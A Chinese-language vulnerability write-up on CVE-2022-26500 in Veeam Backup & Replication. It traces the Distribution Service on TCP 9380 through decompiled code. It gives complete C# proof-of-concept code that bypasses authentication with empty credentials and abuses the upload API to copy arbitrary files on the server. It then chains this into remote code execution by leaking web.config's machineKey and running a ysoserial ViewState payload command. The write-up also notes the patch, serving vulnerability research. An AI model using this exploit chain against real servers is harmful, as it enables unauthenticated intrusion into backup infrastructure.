CVE-2022-26500 Veeam Backup & Replication RCE

警告
本文最后更新于 2022-03-17,文中内容可能已过时。

看推特又爆了cve,感觉挺牛逼的洞,于是分析一手。

# 官方公告

https://www.veeam.com/kb4288

The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated users to access internal API functions. A remote attacker may send input to the internal API which may lead to uploading and executing of malicious code.

漏洞描述说是tcp9380服务出了问题,直接分析就行了。

# 环境

VeeamBackup & Replication_11.0.1.1261_20211211.iso

还有补丁包VeeamBackup&Replication_11.0.1.1261_20220302.zip的下载地址

搭建过程就不说了,参考官方文档

需要注意的是1和2都需要装

image.png

# 分析

在我分析的时候遇到了几个问题,最关键的就是怎么构造参数通过tcp传递给服务器,踩了很多坑,接下来的分析我分为三部分写。

先找到9380端口占用的程序

image.png

定位到Veeam.Backup.Agent.ConfigurationService.exe

image.png

发现是个服务程序

image.png

在OnStart中监听两个端口

image.png

_negotiateServer监听9380 _sslServer监听9381,接下来是tcp编程常见的写法,开线程传递委托,最终处理函数为

Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object),在这个函数中有鉴权处理

image.png

跟入 Veeam.Backup.ServiceLib.CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)

image.png

这个地方的鉴权可以被绕过,使用空账号密码来连接即可,绕过代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
internal class Program
{
    static TcpClient client = null;
    static void Main(string[] args)
    {
        IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
        IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
        client = new TcpClient();
        client.Connect(remoteEP);
        Console.WriteLine("Client connected to {0}.", remoteEP.ToString());

        NetworkStream clientStream = client.GetStream();
        NegotiateStream authStream = new NegotiateStream(clientStream, false);
        try
        {
            NetworkCredential netcred = new NetworkCredential("", "");
            authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
        }
        catch (Exception e)
        {
            Console.WriteLine(e);
        }
        finally
        {
            authStream.Close();
        }
        Console.ReadKey();
    }
}

dnspy附加进程调试之后,发现成功绕过鉴权返回result

image.png

接着跟入又是tcp编程的写法,异步callback,关键函数在Veeam.Backup.ServiceLib.CInvokerServer.ExecThreadProc(object)

image.png

tcp压缩数据流通过ReadCompressedString读出字符串,然后通过CForeignInvokerParams.GetContext(text)获取上下文,然后交由this.DoExecute(context, cconnectionState)进行分发调用。

在GetContext函数中

1
2
3
4
public static CSpecDeserializationContext GetContext(string xml)
{
    return new CSpecDeserializationContext(xml);
}

将字符串交给CSpecDeserializationContext构造函数

image.png

说明我们向服务端发送的tcp数据流应该是一个压缩之后的xml字符串,需要正确构造xml。那么需要什么样格式呢?

先来看DoExecute()

image.png

GetOrCreateExecuter()是拿到被执行者Executer

image.png

根据传入参数不同分别返回三个不同的Executer

  1. CInvokerServerRetryExecuter 重试Executer
  2. CInvokerServerAsyncExecuter 异步Executer
  3. CInvokerServerSyncExecuter 同步Executer

获取到Executer之后进入Executer的Execute()函数,Execute()来自于IInvokerServerExecuter接口,分析实现类刚好就是上面的三个类

image.png

在CInvokerServerSyncExecuter同步执行类的Execute函数中,调用this._specExecuter.Execute(context, state)继续往下分发

image.png

而_specExecuter字段的类型也是一个接口IInvokerServerSpecExecuter,有三个实现类。

image.png

Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)中可以很敏感的看到upload相关的东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private string Execute(CForeignInvokerParams invokerParams, string certificateThumbprint, string remoteHostAddress)
{
    CConfigurationServiceBaseSpec cconfigurationServiceBaseSpec = (CConfigurationServiceBaseSpec)invokerParams.Spec;
    CInputXmlData cinputXmlData = new CInputXmlData("RIResponse");
    cinputXmlData.SetBool("PersistentConnection", true);
    string text = ((EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method).ToString();
    Log.Message("Command '{0}' ({1})", new object[]
    {
        text,
        remoteHostAddress
    });
    EConfigurationServiceMethod method = (EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method;
    switch (method)
    {
    ........省略.......
    case EConfigurationServiceMethod.UploadManagerGetFolders:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerGetFolders((CConfigurationServiceUploadManagerGetFolders)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    case EConfigurationServiceMethod.UploadManagerIsFileInCache:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerIsFileInCache((CConfigurationServiceUploadManagerIsFileInCache)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    case EConfigurationServiceMethod.UploadManagerPerformUpload:
        CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerPerformUpload((CConfigurationServiceUploadManagerPerformUpload)cconfigurationServiceBaseSpec, cinputXmlData);
        goto IL_1B1;
    default:
        if (method == EConfigurationServiceMethod.Disconnect)
        {
            CEpAgentConfigurationServiceExecuter.ExecuteDisconnect();
            goto IL_1B1;
        }
        break;
    }
    throw new Exception("Failed to process command '" + text + "': Executer not implemented");
    IL_1B1:
    return cinputXmlData.Serial();
}

其中case到UploadManagerPerformUpload时,进入ExecuteUploadManagerPerformUpload函数处理文件上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static void ExecuteUploadManagerPerformUpload(CConfigurationServiceUploadManagerPerformUpload spec, CInputXmlData response)
{
    string host = spec.Host;
    if (!File.Exists(spec.FileProxyPath))
    {
        throw new Exception(string.Concat(new string[]
        {
            "Failed to upload file '",
            spec.FileProxyPath,
            "' to host ",
            host,
            ": File doesn't exist in cache"
        }));
    }
    string value;
    if (spec.IsWindows)
    {
        if (spec.IsFix)
        {
            value = CEpAgentConfigurationServiceExecuter.UploadWindowsFix(spec);
        }
        else
        {
            if (!spec.IsPackage)
            {
                throw new Exception(string.Concat(new string[]
                {
                    "Fatal logic error: Failed to upload file '",
                    spec.FileProxyPath,
                    "' to host ",
                    host,
                    ": Unexpected upload task type"
                }));
            }
            value = CEpAgentConfigurationServiceExecuter.UploadWindowsPackage(spec);
        }
    }
    else
    {
        if (!spec.IsLinux)
        {
            throw new Exception(string.Concat(new string[]
            {
                "Fatal logic error: Failed to upload file '",
                spec.FileProxyPath,
                "' to host ",
                host,
                ": Unexpected target host type"
            }));
        }
        value = CEpAgentConfigurationServiceExecuter.UploadLinuxPackage(spec);
    }
    response.SetString("RemotePath", value);
}

分别有三个UploadWindowsFix、UploadWindowsPackage、UploadLinuxPackage函数,跟到UploadWindowsPackage中看到UploadFile函数

image.png

在UploadFile函数中将localPath读取然后写入到remotePath中。

image.png

如果把远程主机赋值为127.0.0.1,我们就可以在目标机器上任意复制文件。

在整个调用过程中,我遇到了多个问题,下面分步骤讲解

  1. CForeignInvokerParams.GetContext(text);
  2. GetOrCreateExecuter
  3. Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)

在上文分析中我们知道,需要让程序的Executer设置为CInvokerServerSyncExecuter实例。而在GetOrCreateExecuter取Executer实例时是根据CForeignInvokerParams.GetContext(text)的值来决定的。上文追溯到了这里CSpecDeserializationContext的构造函数

image.png

几个必填字段

  1. FIData
  2. FISpec
  3. FISessionId
1
2
3
4
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetGuid("FISessionId", Guid.Empty);
FIData.InjectChild(FISpec);

将FISessionId赋值为Guid.Empty即可拿到CInvokerServerSyncExecuter

接着来看还需要什么,在 Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)

1
2
3
4
public string Execute(CSpecDeserializationContext context, CConnectionState state)
{
    return this.Execute(context.GetSpec(new CCommonForeignDeserializationContextProvider()), state.FindCertificateThumbprint(), state.RemoteEndPoint.ToString());
}

context.GetSpec()函数是重要点。

image.png

他将传入的this._specData也就是我们构造的xml数据进行解析,跟进去看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static CForeignInvokerSpec Unserial(COutputXmlData datas, IForeignDeserializationContextProvider provider)
{
    EForeignInvokerScope scope = CForeignInvokerSpec.GetScope(datas);
    CForeignInvokerSpec cforeignInvokerSpec;
    if (scope <= EForeignInvokerScope.CatIndex)
    {
        ......
    }
    else if (scope <= EForeignInvokerScope.Credentials)
    {
        if (scope == EForeignInvokerScope.DistributionService)
        {
            cforeignInvokerSpec = CConfigurationServiceBaseSpec.Unserial(datas);
            goto IL_240;
        }
        ...
    }
    .....
    throw ExceptionFactory.Create("Unknown invoker scope: {0}", new object[]
    {
        scope
    });
    IL_240:
    cforeignInvokerSpec.SessionId = datas.GetGuid("FISessionId");
    cforeignInvokerSpec.ReusableConnection = datas.FindBool("FIReusableConnection", false);
    cforeignInvokerSpec.RetryableConnection = datas.FindBool("FIRetryableConnection", false);
    return cforeignInvokerSpec;
}

先从xml中拿一个FIScope标签,并且要是EForeignInvokerScope枚举的值之一

image.png

case FIScope标签之后会判断不同分支,返回不同的实例,而在Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CForeignInvokerParams, string, string)中我们需要的是CConfigurationServiceBaseSpec实例,因为这个地方进行了强制类型转换

image.png

所以我们再写入一个xml标签,EForeignInvokerScope.DistributionService值为190

1
FISpec.SetInt32("FIScope", 190);

除此之外还需要case一个FIMethod来进入UploadManagerPerformUpload上传的逻辑。

1
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);

接下来就是上传的一些参数,我这里就不再继续写了,通过CInputXmlData和CXmlHelper2两个工具类可以很方便的写入参数。

最终构造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
    IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
    IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
    client = new TcpClient();
    client.Connect(remoteEP);
    Console.WriteLine("Client connected to {0}.", remoteEP.ToString());

    NetworkStream clientStream = client.GetStream();
    NegotiateStream authStream = new NegotiateStream(clientStream, false);
    try
    {
        NetworkCredential netcred = new NetworkCredential("", "");
        authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
        CInputXmlData FIData = new CInputXmlData("FIData");
        CInputXmlData FISpec = new CInputXmlData("FISpec");
        FISpec.SetInt32("FIScope", 190);
        FISpec.SetGuid("FISessionId", Guid.Empty);
        //FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerGetFolders);
        FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
        FISpec.SetString("SystemType", "WIN");
        FISpec.SetString("Host", "127.0.0.1");
        IPAddress[] HostIps = new IPAddress[] { IPAddress.Loopback };
        FISpec.SetStrings("HostIps", ConvertIpsToStringArray(HostIps));
        FISpec.SetString("User", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("Password", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("TaskType", "Package");
        FISpec.SetString("FixProductType", "");
        FISpec.SetString("FixProductVeresion", "");
        FISpec.SetUInt64("FixIssueNumber", 0);
        FISpec.SetString("SshCredentials", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
        FISpec.SetString("SshFingerprint", "");
        FISpec.SetBool("SshTrustAll", true);
        FISpec.SetBool("CheckSignatureBeforeUpload", false);
        FISpec.SetEnum<ESSHProtocol>("DefaultProtocol", ESSHProtocol.Rebex);
        FISpec.SetString("FileRelativePath", "FileRelativePath");
        FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
        FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
        FIData.InjectChild(FISpec);

        Console.WriteLine(FIData.Root.OuterXml);

        new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);

        string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
        Console.WriteLine("response:");
        Console.WriteLine(response);
    }
    catch (Exception e)
    {
        Console.WriteLine(e);
    }
    finally
    {
        authStream.Close();
    }
    Console.ReadKey();
}

成功复制文件。

image.png

目前只是能复制服务器上已有的文件,文件名可控,但是文件内容不可控。如何getshell?

看了看安装完成之后的Veeam有几个web

image.png

C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config中有machineKey,然后就是懂得都懂了,把web.config复制一份写入到1.txt中,然后通过web访问拿到machineKey

image.png

最后ViewState反序列化就行了。

1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="0223A772097526F6017B1C350EE18B58009AF1DCF4C8D54969FEFF9721DF6940948B05A192FA6E64C74A9D7FDD7457BB9A59AF55D1D84771A1E9338C4C5E531D" --decryptionalg="AES"  --validationalg="HMACSHA256" --decryptionalg="AES" --decryptionkey="0290D18D19402AE3BA93191364A5619EF46FA7E42173BB8C" --minfy --path="/error.aspx"

image.png

# 修复

对比补丁,上传的地方加了文件名校验

image.png

授权的地方用的CInvokerAdminNegotiateAuthenticator

image.png

不仅判断了是不是授权用户,而且判断了是否是管理员

image.png

# 总结

这个漏洞给我的感觉学到了很多东西,像tcp编程,Windows鉴权机制在csharp中的应用,以及在大型应用文件传输的一些漏洞点。

另外最后一点通过复制文件拿到web.config是我自己想出来的思路,不知道漏洞发现者Nikita Petrov是否和我的做法一致,或者还有其他的利用方式。

漏洞修复了鉴权,但是感觉授权之后仍然可能会存在一些其他的漏洞,毕竟CInvokerServerSyncExecuter仍然有很多的Service可以走,而不仅仅是CEpAgentConfigurationServiceExecuter。

分析这个洞我并不是全部正向看的,更多取决于补丁diff,但是这种大型软件的开发架构让我自己感觉学到了很多。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。